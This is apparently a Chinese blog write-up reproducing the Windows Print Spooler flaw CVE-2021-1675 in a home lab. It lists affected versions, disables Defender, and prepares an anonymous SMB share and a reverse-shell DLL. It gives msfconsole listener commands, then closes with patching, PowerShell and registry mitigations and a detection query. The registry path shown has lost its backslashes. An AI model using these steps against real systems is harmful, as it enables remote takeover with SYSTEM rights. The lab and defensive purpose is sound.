CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)

漏洞详情

Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问,该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。该RpcAddPrinterDriverEx()函数用于在系统上安装打印机驱动程序。此函数的参数之一是DRIVER_CONTAINER对象,它包含有关添加的打印机将使用哪个驱动程序的信息。另一个参数,dwFileCopyFlags指定如何复制替换打印机驱动程序文件。攻击者可以利用任何经过身份验证的用户都可以调用RpcAddPrinterDriverEx()并指定位于远程服务器上的驱动程序文件这一事实。这会导致 Print Spooler 服务spoolsv.exe以 SYSTEM 权限执行任意 DLL 文件中的代码。

影响版本:

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows Server, version 20H2 (Server Core Installation)

Windows 10 Version 20H2 for ARM64-based Systems

Windows 10 Version 20H2 for 32-bit Systems

Windows 10 Version 20H2 for x64-based Systems

Windows Server, version 2004 (Server Core installation)

Windows 10 Version 2004 for x64-based Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 21H1 for 32-bit Systems

Windows 10 Version 21H1 for ARM64-based Systems

Windows 10 Version 21H1 for x64-based Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

漏洞复现

环境:windows 2019 server虚拟机 (192.168.175.133)和kali虚拟机(192.168.175.132),虚拟机都是NAT模式。

windows 2019 server中的配置:

windows 2019 server参考https://blog.csdn.net/wxh0000mm/article/details/120151737另一篇创建域

创建域用户如下:

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第1张图片

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第2张图片

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第3张图片

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第4张图片

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第5张图片

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第6张图片

在服务中启动Print Spooler服务

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第7张图片

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第8张图片

 Print Spooler服务启动之后CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第9张图片

 关闭windows Defender病毒和威胁防护实时保护,这是因为使用的是反弹shell,反弹shell很早就在windows Defender中被杀掉了。

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第10张图片

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第11张图片

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第12张图片

Kali中的配置:

先把作者的impacket包下载下来运行,链接为

https://github.com/cube0x0/impacket

 运行

cd impacket
python3 ./setup.py install

开启匿名访问SMB

 在smb.conf末尾添加

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第13张图片

 这里我使用原作者的也不行,后面参考了网络上其它人的配置才可以成功访问,在结尾添加了force user = nobody,网上有人说也可以添加force user = smbuser,可以试试

配置完后,开启SMBD,我配置修改之后都重新开启一遍。

因为spoolsv.exe是x64的,所以生成的dll也得是x64,生成dll我使用的是windows/x64/shell_reverse_tcp跟网上一些人的不一样

 LHOST 是Kali的IP  ,LPORT设置为443 ,生成的反弹shell放在了TMP文件夹下,这个文件夹也是SMBD设置的匿名共享文件夹

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第14张图片

 开启监听

msfconsole
use exploit/multi/handler 
set payload windows/x64/shell_reverse_tcp
set lhost 192.168.175.132  (KALI的IP)
set lport 443              (监听的端口,与生产的DLL一样的配置)
run

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第15张图片

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第16张图片

 exp链接

https://github.com/cube0x0/CVE-2021-1675

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第17张图片

 按照示例运行EXP

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第18张图片

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第19张图片

 下面总提示错误,一直没有去管,但是反弹shell好使

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第20张图片

简单测试一下:

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第21张图片

 CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第22张图片

将在Kali中生成的rever.dll拷贝到Windows 2019 server的C盘中,在Kali中建立监听反弹shell,直接运行Windows中的rever.dll,Kali的反弹监听也可以 

解决方案:

更新官方补丁

目前微软官方已针对支持的系统版本发布了修复该漏洞的安全补丁,强烈建议受影响用户尽快安装补丁进行防护,官方下载链接:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675

关闭Print Spooler服务


若相关用户暂时无法进行补丁更新,可通过禁用 Print Spooler 服务来进行缓解:

1、在服务应用(services.msc)中找到 Print Spooler 服务。

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第23张图片

2、停止运行服务,同时将“启动类型”修改为“禁用”。

CVE-2021-1675(Windows Print Spooler 远程代码执行漏洞)_第24张图片

如果禁用 Print Spooler 服务适合您的企业,请使用以下 PowerShell 命令:

Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

关闭打印机服务

Stop-Service Spooler

REG ADD  "HKLMSYSTEMCurrentControlSetServicesSpooler"  /v "Start " /t 
REG_DWORD /d "4" /f

或卸载打印服务

Uninstall-WindowsFeature Print-Services

检测方法

EventID = '11' and Image like 'spoolsv.exe' and TargetFilename like 'C:WindowsSystem32spooldriversx643'

EventID      316Message    INFO 316 NT AUTHORITYSYSTEM 已添加或更新 Windows x64

 总结:

我没有碰到网上说的利用一次,Print sploor服务会自动关闭,可能跟我运行EXP时下面有一些错误有关

参考文章和项目

  • https://github.com/cube0x0/CVE-2021-1675

  • https://github.com/afwu/PrintNightmare

  • https://blog.csdn.net/ShelleyLiu0415/article/details/47836855

  • https://blog.csdn.net/weixin_42345596/article/details/118544065

  • http://noahblog.360.cn/cve-2021-1675/

  • https://mp.weixin.qq.com/s/iNOb6cBAfMwCm2AjqbdEvQ

你可能感兴趣的:(漏洞,windows,linux)